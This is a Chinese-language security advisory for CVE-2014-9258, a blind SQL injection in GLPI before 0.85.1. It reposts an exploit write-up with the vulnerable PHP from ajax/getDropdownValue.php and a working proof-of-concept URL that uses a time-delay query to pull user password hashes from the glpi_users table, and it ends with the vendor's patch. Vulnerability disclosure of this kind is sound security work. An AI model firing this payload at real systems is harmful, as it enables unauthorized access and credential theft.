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首页 / 操作系统 / Linux / GLPI 0.85版本盲SQL注入漏洞

发布日期:2014-12-19
更新日期:2014-12-23受影响系统:
GLPI GLPI < 0.85.1
描述:
CVE(CAN) ID: CVE-2014-9258 GLPI是计算机及设备管理系统。GLPI 0.85.1之前版本,ajax/getDropdownValue.php在实现上存在sql注入漏洞,经过身份验证的远程用户通过condition参数,利用此漏洞可执行任意sql命令。<*来源:Kacper Szurek
 
 链接:http://osvdb.org/show/osvdb/115957
 *>测试方法:警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
# Exploit Title: GLPI 0.85 Blind SQL Injection
 # Date: 28-11-2014
 # Exploit Author: Kacper Szurek - http://security.szurek.pl/ http://twitter.com/KacperSzurek
 # Software Link: https://forge.indepnet.net/attachments/download/1899/glpi-0.85.tar.gz
 # CVE: CVE-2014-9258
 # Category: webapps
   
 1. Description
   
 $_GET["condition"] is not escaped correctly. File: ajaxgetDropdownValue.php
 if (isset($_GET["condition"]) && !empty($_GET["condition"])) {
    $_GET["condition"] = rawurldecode(stripslashes($_GET["condition"]));
 }
 if (isset($_GET["condition"]) && ($_GET["condition"] != "")) {
    $where .= " AND ".$_GET["condition"]." ";
 }
 $query = "SELECT `$table`.* $addselect
          FROM `$table`
          $addjoin
          $where
          ORDER BY $add_order `$table`.`completename`
          $LIMIT"; if ($result = $DB->query($query)) { }http://security.szurek.pl/glpi-085-blind-sql-injection.html 2. Proof of Concepthttp://glpi-url/ajax/getDropdownValue.php?itemtype=group&condition=1 AND id = (SELECT IF(substr(password,1,1) = CHAR(36), SLEEP(5), 0) FROM `glpi_users` WHERE ID = 2) 3. Solution:
   
 Update to version 0.85.1
http://www.glpi-project.org/spip.php?page=annonce&id_breve=334&lang=en
https://forge.indepnet.net/attachments/download/1928/glpi-0.85.1.tar.gz建议:
厂商补丁:GLPI
 ----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.glpi-project.org/spip.php?page=annonce&id_breve=334&lang=en
https://forge.indepnet.net/attachments/download/1928/glpi-0.85.1.tar.gz